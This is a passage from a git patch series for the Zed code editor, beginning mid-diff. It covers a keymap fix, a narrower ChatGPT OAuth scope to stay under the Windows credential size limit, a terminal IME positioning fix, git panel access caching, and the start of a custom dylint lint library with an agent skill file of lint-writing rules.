index de4d538d40d3ba..889f89def325a3 100644
--- a/assets/keymaps/linux/jetbrains.json
+++ b/assets/keymaps/linux/jetbrains.json
@@ -190,6 +190,17 @@
   { "context": "DebugPanel", "bindings": { "alt-5": "workspace::CloseActiveDock" } },
   { "context": "Diagnostics > Editor", "bindings": { "alt-6": "pane::CloseActiveItem" } },
   { "context": "OutlinePanel", "bindings": { "alt-7": "workspace::CloseActiveDock" } },
+  {
+    // `ctrl-alt-l` is bound to `editor::Format` (jetbrains "Reformat Code") in
+    // the Editor context above, which collides with the default
+    // `agent::OpenRulesLibrary` binding. Mirror the windows keymap and use
+    // `shift-alt-l` instead so the menu hint and the action stay in sync.
+    "context": "AgentPanel",
+    "bindings": {
+      "ctrl-alt-l": null,
+      "shift-alt-l": "agent::OpenRulesLibrary",
+    },
+  },
   {
     "context": "Dock || Workspace || OutlinePanel || ProjectPanel || CollabPanel",
     "bindings": {
diff --git a/assets/keymaps/macos/jetbrains.json b/assets/keymaps/macos/jetbrains.json
index 291d7d5e7a8303..9df47fe2412054 100644
--- a/assets/keymaps/macos/jetbrains.json
+++ b/assets/keymaps/macos/jetbrains.json
@@ -194,6 +194,17 @@
   { "context": "DebugPanel", "bindings": { "cmd-5": "workspace::CloseActiveDock" } },
   { "context": "Diagnostics > Editor", "bindings": { "cmd-6": "pane::CloseActiveItem" } },
   { "context": "OutlinePanel", "bindings": { "cmd-7": "workspace::CloseActiveDock" } },
+  {
+    // `cmd-alt-l` is bound to `editor::Format` (jetbrains "Reformat Code") in
+    // the Editor context above, which collides with the default
+    // `agent::OpenRulesLibrary` binding. Mirror the windows keymap and use
+    // `shift-alt-l` instead so the menu hint and the action stay in sync.
+    "context": "AgentPanel",
+    "bindings": {
+      "cmd-alt-l": null,
+      "shift-alt-l": "agent::OpenRulesLibrary",
+    },
+  },
   {
     "context": "Dock || Workspace || OutlinePanel || ProjectPanel || CollabPanel",
     "bindings": {

From 5aa6e8a0b37a46828325e9f4f01ce3e0138017b3 Mon Sep 17 00:00:00 2001
From: Artin <101245159+Artin0123@users.noreply.github.com>
Date: Sat, 4 Jul 2026 03:38:42 +0800
Subject: [PATCH 256/772] Reduce OAuth scope to avoid Windows credential size
 limit (#58541)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

I encountered an issue where I couldn't sign in to ChatGPT Subscription
on Windows:

```
ChatGPT subscription sign-in failed to persist credentials:
Failed to write credentials to Windows Credential Manager:
占位程序接收到错误数据。 (0x800706F7)
```

Interestingly, only one of my three ChatGPT accounts had this problem —
the other two signed in successfully.

## What I Found

After investigating, I noticed that the OAuth scope in
`openai_subscribed.rs` requests 6 permissions:

```
openid profile email offline_access api.connectors.read api.connectors.invoke
```

I wrote a test script to measure token sizes and found that:
- With 6 scopes: my problematic account's token was **2578 bytes**
- With 4 scopes (removing `api.connectors.read` and
`api.connectors.invoke`): the same token was **2516 bytes**

Since Windows Credential Manager has a 2560-byte limit
(`CRED_MAX_CREDENTIAL_BLOB_SIZE`), this could explain why some accounts
fail while others succeed — it depends on the base token size.

## My Hypothesis

The issue seems to be that:
- Error code `0x800706F7` = `RPC_X_BAD_STUB_DATA` (size limit, not
format)
- Accounts with larger base tokens exceed the limit when the extra 48
chars are added
- Accounts with smaller base tokens still fit, which is why this isn't
universally reproducible

I'm not 100% certain this is the root cause, but the evidence seems to
point in this direction.

## Proposed Fix

I removed `api.connectors.read` and `api.connectors.invoke` from the
OAuth scope, since:
- These scopes don't appear to be used by Zed's current ChatGPT
integration
- OpenCode (another tool using the same OAuth provider) successfully
uses only 4 scopes
- This fix allowed my problematic account to sign in

However, I'd like to ask the maintainers:
- Are there plans to use OpenAI Connectors API in the future?
- Are there security or compliance reasons for requesting these extra
scopes?

If the answer is yes to either, we'd need a different approach (e.g.,
splitting credentials, using encrypted file storage, or checking token
size before storage).

## Testing

- [x] Verified my problematic account now signs in successfully
- [x] Verified my other accounts still work
- [x] Ran `cargo check -p language_models` (compilation successful)
- [ ] Would appreciate help testing on macOS/Linux

## Questions

1. Does this analysis make sense?
2. Are there any other considerations I'm missing?
3. Would it be helpful to add a size check with a clearer error message
for future cases?

I'm happy to adjust this approach based on your feedback.

Release Notes:

- Fixed ChatGPT Subscription sign-in failing on Windows for some
accounts by removing unused OAuth scopes (`api.connectors.read`,
`api.connectors.invoke`) that pushed JWT tokens over Windows Credential
Manager's limit.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/gpui_windows/src/platform.rs                    |  9 +++++++++
 .../language_models/src/provider/openai_subscribed.rs  | 10 ++++++----
 2 files changed, 15 insertions(+), 4 deletions(-)

diff --git a/crates/gpui_windows/src/platform.rs b/crates/gpui_windows/src/platform.rs
index 871da413e3bbee..9ba94563a4097e 100644
--- a/crates/gpui_windows/src/platform.rs
+++ b/crates/gpui_windows/src/platform.rs
@@ -741,6 +741,15 @@ impl Platform for WindowsPlatform {
     }
 
     fn write_credentials(&self, url: &str, username: &str, password: &[u8]) -> Task<Result<()>> {
+        // CredWriteW rejects larger blobs with the opaque RPC error
+        // 0x800706F7 "The stub received bad data", so fail with a clear
+        // message instead.
+        if password.len() > CRED_MAX_CREDENTIAL_BLOB_SIZE as usize {
+            return Task::ready(Err(anyhow!(
+                "credential for {url} is {} bytes, which exceeds the Windows Credential Manager limit of {CRED_MAX_CREDENTIAL_BLOB_SIZE} bytes",
+                password.len()
+            )));
+        }
         let password = password.to_vec();
         let mut username = username.encode_utf16().chain(Some(0)).collect_vec();
         let mut target_name = windows_credentials_target_name(url)
diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index 20038e61234904..e3ec95859a240b 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -760,10 +760,12 @@ async fn do_oauth_flow(
         .query_pairs_mut()
         .append_pair("client_id", CLIENT_ID)
         .append_pair("redirect_uri", &redirect_uri)
-        .append_pair(
-            "scope",
-            "openid profile email offline_access api.connectors.read api.connectors.invoke",
-        )
+        // Deliberately excludes `api.connectors.read api.connectors.invoke`
+        // (which Codex CLI requests): extra scopes inflate the
+        // access-token JWT, and the serialized credentials must fit within
+        // Windows Credential Manager's 2560-byte blob limit
+        // (CRED_MAX_CREDENTIAL_BLOB_SIZE). See #58541.
+        .append_pair("scope", "openid profile email offline_access")
         .append_pair("response_type", "code")
         .append_pair("code_challenge", &challenge)
         .append_pair("code_challenge_method", "S256")

From c56646ffdfffc27d0aab8b3940ef93c4153375be Mon Sep 17 00:00:00 2001
From: Gavin Luo <lunt.luo@gmail.com>
Date: Sat, 4 Jul 2026 04:25:16 +0800
Subject: [PATCH 257/772] terminal: Fix IME candidate window not following
 cursor in TUI apps (#59911)

# Objective

Fix IME candidate window not following cursor position in the integrated
terminal when running fullscreen TUI applications like opencode.

When using IME (Input Method Editor) in Zed's terminal with fullscreen
TUI applications (e.g., opencode), the candidate window does not follow
the cursor position. This issue does not occur in normal terminal usage
(e.g., bash shell).

# Solution

The root cause was three-layer blocking preventing IME position updates
in ALT_SCREEN mode:

1. **ALT_SCREEN blocking**: `selected_text_range()` returned `None` in
ALT_SCREEN mode, causing `selected_bounds()` to return `None`
2. **Missing trigger**: `Event::Wakeup` did not call
`invalidate_character_coordinates()`, so cursor movement did not trigger
IME position updates
3. **Composition blocking**: `update_ime_position()` skipped updates
when `state.composing` was true

Fixes:
- Remove ALT_SCREEN check in `selected_text_range()` so IME position
updates work in fullscreen TUI apps
- Add `window.invalidate_character_coordinates()` in `Event::Wakeup` to
trigger IME position updates when terminal cursor moves
- Remove `state.composing` check in `update_ime_position()` to allow IME
position updates during text-input-v3 composition
- Remove unused `terminal` field from `TerminalInputHandler` struct

# Testing

**Did you test these changes? If so, how?**
- Yes, tested on Linux GNOME Wayland with iBus input method
- Verified IME candidate window correctly follows cursor in opencode
- Verified normal terminal usage with IME still works correctly

**Are there any parts that need more testing?**
- Other IMEs (fcitx, etc.) may need testing

**How can other people (reviewers) test your changes?**
1. Open Zed's integrated terminal
2. Run a fullscreen TUI application like `opencode`
3. Activate IME (e.g., iBus with Chinese input)
4. Type text and observe the IME candidate window follows the cursor

**What platforms did you test these changes on?**
- Linux (GNOME Wayland) - tested
- macOS - not tested (may have different IME behavior)
- Windows - not tested (different code path)

# Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards (UX/UI and icon
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

# Showcase

<details>
  <summary>Before</summary>
<video
src="https://github.com/user-attachments/assets/ee2fac4e-801b-49af-a57e-32ce25e01db5"
width="320" height="180" />
</details>

<details>
  <summary>After</summary>
<video
src="https://github.com/user-attachments/assets/c669ea99-2ffc-4179-b587-a47873e33e70"
width="320" height="180" />
</details>

---

Release Notes:

- Fixed IME candidate window not following cursor in terminal TUI apps
---
 crates/gpui_linux/src/linux/wayland/client.rs |  2 +-
 crates/terminal_view/src/terminal_element.rs  | 25 ++++++-------------
 crates/terminal_view/src/terminal_view.rs     |  1 +
 3 files changed, 10 insertions(+), 18 deletions(-)

diff --git a/crates/gpui_linux/src/linux/wayland/client.rs b/crates/gpui_linux/src/linux/wayland/client.rs
index ac637d3fc46876..256875bed1e4ec 100644
--- a/crates/gpui_linux/src/linux/wayland/client.rs
+++ b/crates/gpui_linux/src/linux/wayland/client.rs
@@ -388,7 +388,7 @@ impl WaylandClientStatePtr {
     pub fn update_ime_position(&self, bounds: Bounds<Pixels>) {
         let client = self.get_client();
         let state = client.borrow_mut();
-        if state.composing || state.text_input.is_none() || state.pre_edit_text.is_some() {
+        if state.text_input.is_none() || state.pre_edit_text.is_some() {
             return;
         }
 
diff --git a/crates/terminal_view/src/terminal_element.rs b/crates/terminal_view/src/terminal_element.rs
index cd0ed9241fa983..b74d28593d074d 100644
--- a/crates/terminal_view/src/terminal_element.rs
+++ b/crates/terminal_view/src/terminal_element.rs
@@ -1349,7 +1349,6 @@ impl Element for TerminalElement {
             };
 
             let terminal_input_handler = TerminalInputHandler {
-                terminal: self.terminal.clone(),
                 terminal_view: self.terminal_view.clone(),
                 cursor_bounds: layout.ime_cursor_bounds.map(|bounds| bounds + origin),
                 workspace: self.workspace.clone(),
@@ -1510,7 +1509,6 @@ impl IntoElement for TerminalElement {
 }
 
 struct TerminalInputHandler {
-    terminal: Entity<Terminal>,
     terminal_view: Entity<TerminalView>,
     workspace: WeakEntity<Workspace>,
     cursor_bounds: Option<Bounds<Pixels>>,
@@ -1521,22 +1519,15 @@ impl InputHandler for TerminalInputHandler {
         &mut self,
         _ignore_disabled_input: bool,
         _: &mut Window,
-        cx: &mut App,
+        _cx: &mut App,
     ) -> Option<UTF16Selection> {
-        if self
-            .terminal
-            .read(cx)
-            .last_content
-            .mode
-            .contains(Modes::ALT_SCREEN)
-        {
-            None
-        } else {
-            Some(UTF16Selection {
-                range: 0..0,
-                reversed: false,
-            })
-        }
+        // Always return a valid selection for IME positioning,
+        // even in ALT_SCREEN mode (fullscreen TUI apps like opencode, vim, etc.)
+        // The terminal still has a cursor position that should be used for IME candidate window placement.
+        Some(UTF16Selection {
+            range: 0..0,
+            reversed: false,
+        })
     }
 
     fn marked_text_range(
diff --git a/crates/terminal_view/src/terminal_view.rs b/crates/terminal_view/src/terminal_view.rs
index ea888d564cc928..3b1e6db97fca52 100644
--- a/crates/terminal_view/src/terminal_view.rs
+++ b/crates/terminal_view/src/terminal_view.rs
@@ -1129,6 +1129,7 @@ fn subscribe_for_terminal_events(
             match event {
                 Event::Wakeup => {
                     cx.notify();
+                    window.invalidate_character_coordinates();
                     cx.emit(Event::Wakeup);
                     cx.emit(ItemEvent::UpdateTab);
                     cx.emit(SearchEvent::MatchesInvalidated);

From b77ec90b2e6585622099235d9fb7d708d22ad956 Mon Sep 17 00:00:00 2001
From: Lukas Geiger <lukas.geiger94@gmail.com>
Date: Fri, 3 Jul 2026 21:43:32 +0100
Subject: [PATCH 258/772] git: Do not recompute git_access on every file change
 (#59521)

# Objective

As mentioned in #59514, the git panel currently runs a full `git status`
for checking whether `git` has access to the repository. This was
introduced in #43693 and currently runs on every file save which is
problematic for large repos where `git status` runs a lot of
computation.

## Solution

This PR caches the `git_access` on the git panel such that we don't need
re-check for git access on every file save.

## Testing

I manually verified that the git panel doesn't trigger anymore
unnecessary git status commands.

**main:**
```
2026-06-18T00:04:24+01:00 DEBUG [project::git_store] start recalculating diffs for buffer 4294967643
2026-06-18T00:04:24+01:00 DEBUG [project::git_store] finished recalculating diffs for buffer 4294967643
2026-06-18T00:04:24+01:00 DEBUG [project::git_store] start recalculating diffs for buffer 4294967643
2026-06-18T00:04:24+01:00 DEBUG [project::git_store] finished recalculating diffs for buffer 4294967643
2026-06-18T00:04:24+01:00 DEBUG [project.format.local] formatting buffer '"/Users/lgeiger/code/zed/CONTRIBUTING.md"'
2026-06-18T00:04:24+01:00 DEBUG [project.format.local] no changes made while formatting
2026-06-18T00:04:24+01:00 DEBUG [git::repository] Checking for git status in ["CONTRIBUTING.md"]
2026-06-18T00:04:25+01:00 DEBUG [git::repository] Checking for git status in []
```
```
/opt/homebrew/bin/git -c core.fsmonitor=false -c log.showSignature=false --no-optional-locks --no-pager status --porcelain=v1 --untracked-files=all --no-renames -z -- CONTRIBUTING.md
/opt/homebrew/bin/git -c core.fsmonitor=false -c log.showSignature=false --no-optional-locks --no-pager diff --numstat --no-renames HEAD -- CONTRIBUTING.md
/opt/homebrew/bin/git -c core.fsmonitor=false -c log.showSignature=false --no-optional-locks --no-pager config --get commit.template
/opt/homebrew/bin/git -c core.fsmonitor=false -c log.showSignature=false --no-optional-locks --no-pager status --porcelain=v1 --untracked-files=all --no-renames -z --
```

**This PR:**
```
2026-06-18T02:47:54+01:00 DEBUG [project::git_store] start recalculating diffs for buffer 4294967656
2026-06-18T02:47:54+01:00 DEBUG [project::git_store] finished recalculating diffs for buffer 4294967656
2026-06-18T02:47:55+01:00 DEBUG [project.format.local] formatting buffer '"/Users/lgeiger/code/zed/CONTRIBUTING.md"'
2026-06-18T02:47:55+01:00 DEBUG [project.format.local] no changes made while formatting
2026-06-18T02:47:55+01:00 DEBUG [git::repository] Checking for git status in ["CONTRIBUTING.md"]
```
```
/opt/homebrew/bin/git -c core.fsmonitor=false -c log.showSignature=false --no-optional-locks --no-pager diff --numstat --no-renames HEAD -- CONTRIBUTING.md
/opt/homebrew/bin/git -c core.fsmonitor=false -c log.showSignature=false --no-optional-locks --no-pager status --porcelain=v1 --untracked-files=all --no-renames -z -- CONTRIBUTING.md
/opt/homebrew/bin/git -c core.fsmonitor=false -c log.showSignature=false --no-optional-locks --no-pager config --get commit.template
```


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

/cc @dinocosta


---

Release Notes:

- Improved Git Panel performance by no longer re-checking repository
access on every file change

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/git_ui/src/git_panel.rs  | 67 ++++++++++++++++++++-------------
 crates/project/src/git_store.rs |  5 ++-
 2 files changed, 43 insertions(+), 29 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 60afc057b7ab28..6875ddea21886b 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -803,7 +803,7 @@ pub struct GitPanel {
     _repo_subscriptions: Vec<Subscription>,
 
     _settings_subscription: Subscription,
-    git_access: GitAccess,
+    git_access: Option<GitAccess>,
 }
 
 #[derive(Clone, Debug, PartialEq, Eq)]
@@ -1004,10 +1004,18 @@ impl GitPanel {
                     )
                     | GitStoreEvent::RepositoryAdded
                     | GitStoreEvent::RepositoryRemoved(_)
-                    | GitStoreEvent::GlobalConfigurationUpdated
                     | GitStoreEvent::ActiveRepositoryChanged(_) => {
                         this.schedule_update(window, cx);
                     }
+                    GitStoreEvent::RepositoryUpdated(
+                        _,
+                        RepositoryEvent::GitDirectoryChanged,
+                        true,
+                    )
+                    | GitStoreEvent::GlobalConfigurationUpdated => {
+                        this.git_access = None;
+                        this.schedule_update(window, cx);
+                    }
                     GitStoreEvent::IndexWriteError(error) => {
                         this.workspace
                             .update(cx, |workspace, cx| {
@@ -1075,7 +1083,7 @@ impl GitPanel {
                 _commit_message_buffer_subscription: None,
                 _repo_subscriptions: Vec::new(),
                 _settings_subscription,
-                git_access: GitAccess::Yes,
+                git_access: None,
             };
 
             this.schedule_update(window, cx);
@@ -4122,7 +4130,11 @@ impl GitPanel {
             .as_ref()
             .and_then(|op| self.entry_by_path(&op.anchor));
 
-        self.active_repository = self.project.read(cx).active_repository(cx);
+        let active_repository = self.project.read(cx).active_repository(cx);
+        if active_repository != self.active_repository {
+            self.active_repository = active_repository;
+            self.git_access = None;
+        }
         self.entries.clear();
         self.entries_indices.clear();
         self.single_staged_entry.take();
@@ -4137,7 +4149,6 @@ impl GitPanel {
         self.tracked_staged_count = 0;
         self.entry_count = 0;
         self.max_width_item_index = None;
-        self.git_access = GitAccess::Yes;
 
         let settings = GitPanelSettings::get_global(cx);
         let sort_by = settings.sort_by;
@@ -4145,28 +4156,30 @@ impl GitPanel {
         let is_tree_view = matches!(self.view_mode, GitPanelViewMode::Tree(_));
 
         if let Some(active_repo) = self.active_repository.as_ref() {
-            let access = active_repo.update(cx, |active_repo, cx| active_repo.access(cx));
-
-            cx.spawn_in(window, async move |git_panel, cx| {
-                // When the user does not own the `.git` folder, the
-                // `GitStore.spawn_local_git_worker` will fail to create the
-                // receiver for Git jobs, so this access check will be
-                // cancelled.
-                //
-                // We assume `GitAccess::No` on cancellation. I believe this is
-                // imprecise, other failures could also cause cancellation, but
-                // the consequence is just showing the "unsafe repo" UI, which
-                // seems acceptable for this edge case.
-                let access = match access.await {
-                    Ok(access) => access,
-                    Err(Canceled) => GitAccess::No,
-                };
+            if self.git_access.is_none() {
+                let access = active_repo.update(cx, |active_repo, cx| active_repo.access(cx));
+
+                cx.spawn_in(window, async move |git_panel, cx| {
+                    // When the user does not own the `.git` folder, the
+                    // `GitStore.spawn_local_git_worker` will fail to create the
+                    // receiver for Git jobs, so this access check will be
+                    // cancelled.
+                    //
+                    // We assume `GitAccess::No` on cancellation. I believe this is
+                    // imprecise, other failures could also cause cancellation, but
+                    // the consequence is just showing the "unsafe repo" UI, which
+                    // seems acceptable for this edge case.
+                    let access = match access.await {
+                        Ok(access) => access,
+                        Err(Canceled) => GitAccess::No,
+                    };
 
-                git_panel.update(cx, |this, _cx| {
-                    this.git_access = access;
+                    git_panel.update(cx, |this, _cx| {
+                        this.git_access = Some(access);
+                    })
                 })
-            })
-            .detach_and_log_err(cx);
+                .detach_and_log_err(cx);
+            }
         }
 
         let mut changed_entries = Vec::new();
@@ -5066,7 +5079,7 @@ impl GitPanel {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Option<impl IntoElement> {
-        if matches!(self.git_access, GitAccess::No) {
+        if matches!(self.git_access, Some(GitAccess::No)) {
             return None;
         }
 
@@ -6039,7 +6052,7 @@ impl GitPanel {
 
     fn render_empty_state(&self, cx: &mut Context<Self>) -> impl IntoElement {
         let content = match (self.git_access, &self.active_repository) {
-            (GitAccess::No, Some(repository)) => self.render_unsafe_repo_ui(repository, cx),
+            (Some(GitAccess::No), Some(repository)) => self.render_unsafe_repo_ui(repository, cx),
             (_, None) => self.render_uninitialized_ui(cx),
             (_, Some(_)) => self.render_no_changes_ui(cx),
         };
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 778743163d6516..fd3efdae5c8cf5 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -170,14 +170,13 @@ enum DiffKind {
     SinceOid(Option<git::Oid>),
 }
 
-#[derive(Debug, Default, Clone, Copy)]
+#[derive(Debug, Clone, Copy)]
 pub enum GitAccess {
     /// Either:
     /// - the user owns `.git`
     /// - the user doesn't own `.git`, but has both of:
     ///   - OS-level read permissions
     ///   - the directory is marked as safe (git config safe.directory)
-    #[default]
     Yes,
 
     /// The user is not the owner of `.git`, and one of the following is true:
@@ -486,6 +485,7 @@ pub enum RepositoryEvent {
     GitWorktreeListChanged,
     PendingOpsChanged { pending_ops: SumTree<PendingOps> },
     GraphEvent((LogSource, LogOrder), GitGraphEvent),
+    GitDirectoryChanged,
 }
 
 #[derive(Clone, Debug)]
@@ -2134,6 +2134,7 @@ impl GitStore {
                         || update.new_work_directory_abs_path.as_ref() == Some(repo_abs_path)
                 }) {
                     repository.reload_buffer_diff_bases(cx);
+                    cx.emit(RepositoryEvent::GitDirectoryChanged);
                 }
             });
         }

From 4b7369481dcf36f22ff8f813d411e1d296aebe57 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miguel=20Raz=20Guzm=C3=A1n=20Macedo?= <miguel@zed.dev>
Date: Fri, 3 Jul 2026 16:05:34 -0600
Subject: [PATCH 259/772] Add dylint lint library for Zed-specific patterns
 (#58496)

Adds a dylint library under tooling/lints that flags Zed-specific
anti-patterns:

* shared_string_from_str_literal,
* async_block_without_await,
* entity_update_in_render,
* notify_in_render,
* owned_string_into_shared,
* len_in_loop_condition, and
* blocking_io_on_foreground.

Includes UI tests, a single-lint helper, and workspace.metadata.dylint
registration so cargo dylint --all discovers it. The library pins its
own nightly toolchain (kept out of the main workspace) and tracks dylint
6.

Release Notes:

- N/A

Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 .agents/skills/lint-creator/SKILL.md          |  17 +
 Cargo.toml                                    |   7 +
 tooling/lints/.cargo/config.toml              |   2 +
 tooling/lints/.gitignore                      |   4 +
 tooling/lints/Cargo.toml                      |  29 +
 tooling/lints/README.md                       |  86 +++
 tooling/lints/rust-toolchain.toml             |   3 +
 tooling/lints/single-lint                     |  64 ++
 .../lints/src/blocking_io_on_foreground.rs    | 246 ++++++++
 tooling/lints/src/entity_update_in_render.rs  |  66 ++
 tooling/lints/src/lib.rs                      | 565 ++++++++++++++++++
 tooling/lints/src/notify_in_render.rs         |  58 ++
 tooling/lints/src/owned_string_into_shared.rs | 171 ++++++
 tooling/lints/src/render_helpers.rs           |  98 +++
 tooling/lints/test_fixture/Cargo.toml         |   6 +
 .../lints/test_fixture/consumer/Cargo.toml    |  11 +
 .../lints/test_fixture/consumer/src/lib.rs    |  63 ++
 tooling/lints/test_fixture/gpui/Cargo.toml    |   8 +
 tooling/lints/test_fixture/gpui/src/lib.rs    | 100 ++++
 .../gpui_shared_string/Cargo.toml             |   8 +
 .../gpui_shared_string/src/lib.rs             |  31 +
 .../test_fixture/render_consumer/Cargo.toml   |  11 +
 .../test_fixture/render_consumer/src/lib.rs   | 154 +++++
 tooling/lints/ui/async_block_without_await.rs |  79 +++
 .../lints/ui/async_block_without_await.stderr |  56 ++
 tooling/lints/ui/blocking_io_on_foreground.rs | 324 ++++++++++
 .../lints/ui/blocking_io_on_foreground.stderr | 395 ++++++++++++
 tooling/lints/ui/entity_update_in_render.rs   | 116 ++++
 .../lints/ui/entity_update_in_render.stderr   |  30 +
 tooling/lints/ui/owned_string_into_shared.rs  |  68 +++
 .../lints/ui/owned_string_into_shared.stderr  |  53 ++
 31 files changed, 2929 insertions(+)
 create mode 100644 .agents/skills/lint-creator/SKILL.md
 create mode 100644 tooling/lints/.cargo/config.toml
 create mode 100644 tooling/lints/.gitignore
 create mode 100644 tooling/lints/Cargo.toml
 create mode 100644 tooling/lints/README.md
 create mode 100644 tooling/lints/rust-toolchain.toml
 create mode 100755 tooling/lints/single-lint
 create mode 100644 tooling/lints/src/blocking_io_on_foreground.rs
 create mode 100644 tooling/lints/src/entity_update_in_render.rs
 create mode 100644 tooling/lints/src/lib.rs
 create mode 100644 tooling/lints/src/notify_in_render.rs
 create mode 100644 tooling/lints/src/owned_string_into_shared.rs
 create mode 100644 tooling/lints/src/render_helpers.rs
 create mode 100644 tooling/lints/test_fixture/Cargo.toml
 create mode 100644 tooling/lints/test_fixture/consumer/Cargo.toml
 create mode 100644 tooling/lints/test_fixture/consumer/src/lib.rs
 create mode 100644 tooling/lints/test_fixture/gpui/Cargo.toml
 create mode 100644 tooling/lints/test_fixture/gpui/src/lib.rs
 create mode 100644 tooling/lints/test_fixture/gpui_shared_string/Cargo.toml
 create mode 100644 tooling/lints/test_fixture/gpui_shared_string/src/lib.rs
 create mode 100644 tooling/lints/test_fixture/render_consumer/Cargo.toml
 create mode 100644 tooling/lints/test_fixture/render_consumer/src/lib.rs
 create mode 100644 tooling/lints/ui/async_block_without_await.rs
 create mode 100644 tooling/lints/ui/async_block_without_await.stderr
 create mode 100644 tooling/lints/ui/blocking_io_on_foreground.rs
 create mode 100644 tooling/lints/ui/blocking_io_on_foreground.stderr
 create mode 100644 tooling/lints/ui/entity_update_in_render.rs
 create mode 100644 tooling/lints/ui/entity_update_in_render.stderr
 create mode 100644 tooling/lints/ui/owned_string_into_shared.rs
 create mode 100644 tooling/lints/ui/owned_string_into_shared.stderr

diff --git a/.agents/skills/lint-creator/SKILL.md b/.agents/skills/lint-creator/SKILL.md
new file mode 100644
index 00000000000000..e72e83a9abaf1e
--- /dev/null
+++ b/.agents/skills/lint-creator/SKILL.md
@@ -0,0 +1,17 @@
+---
+name: lint-creator
+description: An auxiliary skill to add more dylints to `tooling/lints`
+disable-model-invocation: false
+---
+
+# Lint RULES
+
+1. Every lint MUST have accompanying `ui` tests
+2. `ui` tests MUST be in the `ui` folder
+3. Every lint MUST be in a separate module
+4. Every lint MUST have negative `ui` tests
+5. Lints should be as simple as possible.
+6. Reporting is fine if it's simple, it does not need to be elaborate or lengthy code.
+7. Do NOT suggest how to fix the lint, only flag it.
+8. Do NOT make lints machine applicable.
+9. Detect if lints are redundant vs clippy's capabilities.
diff --git a/Cargo.toml b/Cargo.toml
index 5e7703aaaeee3f..2adf179e513d37 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -1070,3 +1070,10 @@ ignored = [
     "documented",
     "sea-orm-macros",
 ]
+
+# Dylint discovers our custom lints through this entry, so `cargo dylint --all`
+# runs them without a `--path` argument. The `lints` package pins its own
+# nightly toolchain (see `tooling/lints/rust-toolchain.toml`) and is kept out of
+# this workspace on purpose.
+[workspace.metadata.dylint]
+libraries = [{ path = "tooling/lints" }]
diff --git a/tooling/lints/.cargo/config.toml b/tooling/lints/.cargo/config.toml
new file mode 100644
index 00000000000000..93dceb69922249
--- /dev/null
+++ b/tooling/lints/.cargo/config.toml
@@ -0,0 +1,2 @@
+[target.'cfg(all())']
+linker = "dylint-link"
diff --git a/tooling/lints/.gitignore b/tooling/lints/.gitignore
new file mode 100644
index 00000000000000..26b452057c50a5
--- /dev/null
+++ b/tooling/lints/.gitignore
@@ -0,0 +1,4 @@
+/target/
+/test_fixture/target/
+Cargo.lock
+test_fixture/Cargo.lock
diff --git a/tooling/lints/Cargo.toml b/tooling/lints/Cargo.toml
new file mode 100644
index 00000000000000..d70050bfa6149a
--- /dev/null
+++ b/tooling/lints/Cargo.toml
@@ -0,0 +1,29 @@
+[package]
+name = "lints"
+version = "0.1.0"
+edition = "2024"
+publish = false
+description = "Dylint lints for catching bad Zed specific patterns."
+
+[lib]
+crate-type = ["cdylib"]
+
+[dependencies]
+clippy_utils = { git = "https://github.com/rust-lang/rust-clippy", rev = "86390a3c03438b660c5efc64d4e18ae65982f5c0" }
+dylint_linting = "6.0"
+
+[dev-dependencies]
+# `deny_warnings` restores `-D warnings` for the UI fixtures (off by default
+# since dylint 3.0), so toolchain drift surfaces as a failing test.
+dylint_testing = { version = "6.0", features = ["deny_warnings"] }
+
+[package.metadata.rust-analyzer]
+rustc_private = true
+
+# Keep this crate out of the zed workspace. It pins its own nightly toolchain
+# (see `rust-toolchain.toml`) to match `clippy_utils`.
+[workspace]
+
+[lints.rust.unexpected_cfgs]
+level = "warn"
+check-cfg = ["cfg(dylint_lib, values(any()))"]
diff --git a/tooling/lints/README.md b/tooling/lints/README.md
new file mode 100644
index 00000000000000..6804a2e9093d24
--- /dev/null
+++ b/tooling/lints/README.md
@@ -0,0 +1,86 @@
+# lints
+
+A [dylint](https://github.com/trailofbits/dylint) library that flags various bad patterns in our codebase.
+
+Install `dylint`, a pinned nightly toolchain and the necessary tools with
+
+```
+cargo install cargo-dylint dylint-link
+cd tooling/lints
+rustup toolchain install
+```
+
+The channel and its components (`rustc-dev`, `rust-src`, `llvm-tools-preview`)
+are declared in `tooling/lints/rust-toolchain.toml`, so `rustup toolchain install`
+picks them up automatically when run from that directory.
+
+# Demo
+
+```
+./single-lint blocking_io_on_foreground
+```
+
+
+## Current lints
+- `shared_string_from_str_literal` — `SharedString::new/from` etc where `SharedString::from_static` should be used instead.
+- `async_block_without_await` — `async { … }` blocks whose body contains no `.await` expression.
+- `entity_update_in_render` — `Entity::update`/`WeakEntity::update` mutating an entity inside `Render::render`.
+- `notify_in_render` — `Context::notify()` called inside `Render::render`.
